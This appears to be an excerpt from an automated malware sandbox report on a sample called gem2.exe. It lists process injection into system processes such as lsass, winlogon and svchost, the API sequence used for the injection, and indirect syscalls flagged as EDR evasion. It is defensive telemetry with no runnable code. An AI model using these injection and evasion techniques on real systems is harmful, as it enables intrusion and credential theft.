Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01BA8B4 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00000173D01BA8B4
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01B9E30 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00000173D01B9E30
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D03B85E4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00000173D03B85E4
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D03BCE44 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00000173D03BCE44
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D03B8280 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00000173D03B8280
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D166DBA8 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_00007FF7D166DBA8
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D166DD88 SetUnhandledExceptionFilter,	17_2_00007FF7D166DD88
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D166DE08 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_00007FF7D166DE08
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1672DC8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_00007FF7D1672DC8

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\gem2.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 173CD230000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory allocated: C:\Windows\SysWOW64\explorer.exe base: 400000 protect: page execute and read and write			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\System-f4855f59e0.exe

Code function: 14_2_00007FF6A54A4590 VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,

14_2_00007FF6A54A4590

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 7D1B2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\lsass.exe EIP: 2DD22C98
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4B8F2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\dwm.exe EIP: F1CA2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 42AE2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 56A2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7A7D2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4DA62C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2542C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EBF92C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F1602C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6A172C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26992C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5D5C2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AB962C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9B2A2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 84182C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 78732C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5FCF2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25D92C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A5D82C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F41C2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25342C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FC902C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F3532C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26282C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 31E62C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 137C2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3A3B2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E4192C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1452C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 68FA2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 951C2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 63512C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4E112C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 98582C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3C5C2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CFCF2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8E332C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A2952C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 340C2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 53792C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9A0E2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 30B32C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 35DA2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 792F2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E9172C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 59542C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1AC02C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1352C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D2532C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 532C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2D12C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 44DD2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B00D2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9A262C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B71A2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 82022C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 706E2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6A4A2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 43F2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15D32C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AD5E2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 570C2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E5262C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 90B2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B1242C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 82CD2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9B7A2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 32292C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 35B23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D6432C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FF62C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6423B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 30623B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25E23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27823B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23623B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8323B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2BA23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E423B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DF23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26D23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25023B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F723B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22523B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A523B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28C23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25C23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25A23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A723B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7623B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12B23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FE23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7D23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2BF23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2D723B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26123B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12023B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 24B23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23023B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7D23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12E23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14B23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27E23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25323B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14A23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28223B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D423B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12F23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11923B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A123B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28323B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23623B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25823B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10123B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F223B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EB23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 21423B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 24323B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7423B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F923B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7623B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25A23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28423B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E123B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7923B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D423B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3C23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25223B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E923B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29423B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11023B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9A23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26E23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2C323B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2EA23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25723B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28823B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29123B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2FD23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2523B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9023B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26723B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26823B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23023B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A523B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10923B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A723B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6323B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E523B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7023B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B123B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DC23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13D23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D523B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9A23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10A23B3
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 337D2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2DE52C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A9652C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A25C2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D0382C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 164F2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9D2E2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 381E2C98
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 38212C98

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe

NtQueryInformationProcess: Indirect: 0x7FF7D1632286

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CD230000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1CA7D1B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 17D2DD20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22F4B8F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 262F1CA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23942AE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF056A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2287A7D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B94DA60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25202540000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9EBF90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19FF1600000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A76A170000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14D26990000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2175D5C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B0AB960000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2129B2A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26384180000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25178730000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1495FCF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22125D90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 297A5D80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D0F41C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C325340000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AEFC900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 270F3530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D326280000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 16131E60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AE137C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C93A3B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2E4190000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1450000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB68FA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 265951C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C263510000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E110000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18198580000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF3C5C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 17ACFCF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E8E330000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5A2950000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD340C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B653790000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B19A0E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24730B30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15F35DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 200792F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18CE9170000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D959540000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18F1AC00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF01350000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 221D2530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D400530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 2D10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 27844DD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 258B00D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FA9A260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1BFB71A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 26982020000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 185706E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1496A4A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 190043F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 16215D30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 159AD5E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 221570C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B8E5260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 189090B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24BB1240000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 28182CD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BD9B7A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F132290000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 35B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 252D6430000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B60FF60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 640000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 3060000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 25E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2780000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2360000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 830000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2BA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: E40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: DF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 26D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2500000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: F70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2250000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: A50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 28C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 25C0000 value starts with: 4D5A
